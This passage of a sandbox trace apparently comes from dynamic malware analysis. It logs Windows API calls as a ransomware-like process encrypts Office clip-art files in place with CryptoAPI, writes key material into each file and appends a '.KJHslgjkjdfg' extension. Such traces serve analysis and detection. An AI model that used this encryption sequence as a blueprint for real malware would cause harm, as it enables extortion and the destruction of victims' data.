hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.885] GetProcessHeap () returned 0x2a0000 [0187.885] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.kjhslgjkjdfg")) returned 1 [0187.887] CloseHandle (hObject=0x114) returned 1 [0187.887] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bf3500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8bf3500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01332U.BMP", cAlternateFileName="")) returned 1 [0187.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.889] GetProcessHeap () returned 0x2a0000 [0187.889] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.889] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.889] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.889] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.891] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.891] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.891] GetProcessHeap () returned 0x2a0000 [0187.891] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.891] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.891] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.891] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.892] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.892] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.892] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.892] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.892] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.892] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.892] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.892] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0187.893] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0187.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.894] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0187.894] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.894] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.894] SetEndOfFile (hFile=0x114) returned 1 [0187.897] GetProcessHeap () returned 0x2a0000 [0187.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.897] GetProcessHeap () returned 0x2a0000 [0187.897] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.kjhslgjkjdfg")) returned 1 [0187.899] CloseHandle (hObject=0x114) returned 1 [0187.899] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa711900, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa711900, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01478U.BMP", cAlternateFileName="")) returned 1 [0187.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.900] GetProcessHeap () returned 0x2a0000 [0187.900] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.900] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.901] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.901] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.901] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.901] GetProcessHeap () returned 0x2a0000 [0187.901] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.901] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.901] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.901] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.903] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.903] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.903] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.903] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.903] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.904] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.904] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.904] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0187.905] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0187.905] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.905] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0187.905] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.905] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.905] SetEndOfFile (hFile=0x114) returned 1 [0187.908] GetProcessHeap () returned 0x2a0000 [0187.908] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.908] GetProcessHeap () returned 0x2a0000 [0187.908] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.908] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.kjhslgjkjdfg")) returned 1 [0187.910] CloseHandle (hObject=0x114) returned 1 [0187.910] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47b3800, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa47b3800, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01562U.BMP", cAlternateFileName="")) returned 1 [0187.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.912] GetProcessHeap () returned 0x2a0000 [0187.912] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.912] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.913] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.915] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.915] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.915] GetProcessHeap () returned 0x2a0000 [0187.915] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.915] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.915] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.915] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.915] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.916] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.916] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.916] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.916] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.916] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.916] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7db8, lpOverlapped=0x0) returned 1 [0187.918] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7dc0) returned 1 [0187.918] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.918] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7dc0, lpOverlapped=0x0) returned 1 [0187.918] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.918] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.918] SetEndOfFile (hFile=0x114) returned 1 [0187.921] GetProcessHeap () returned 0x2a0000 [0187.921] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.921] GetProcessHeap () returned 0x2a0000 [0187.921] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01562U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01562u.bmp.kjhslgjkjdfg")) returned 1 [0187.923] CloseHandle (hObject=0x114) returned 1 [0187.923] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fb68400, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9fb68400, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01607U.BMP", cAlternateFileName="")) returned 1 [0187.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.925] GetProcessHeap () returned 0x2a0000 [0187.925] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.925] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.925] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.925] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.925] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.925] GetProcessHeap () returned 0x2a0000 [0187.925] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.925] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.925] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.925] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.936] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.936] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.936] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.937] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.937] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.937] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.937] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.937] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0187.938] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0187.938] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.939] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0187.939] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.939] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.939] SetEndOfFile (hFile=0x114) returned 1 [0187.942] GetProcessHeap () returned 0x2a0000 [0187.942] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.942] GetProcessHeap () returned 0x2a0000 [0187.942] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.kjhslgjkjdfg")) returned 1 [0187.944] CloseHandle (hObject=0x114) returned 1 [0187.944] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a3dc00, ftCreationTime.dwHighDateTime=0x1bd4e60, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35a3dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e60, nFileSizeHigh=0x0, nFileSizeLow=0x9abe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01931J.JPG", cAlternateFileName="")) returned 1 [0187.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.945] GetProcessHeap () returned 0x2a0000 [0187.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.945] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: 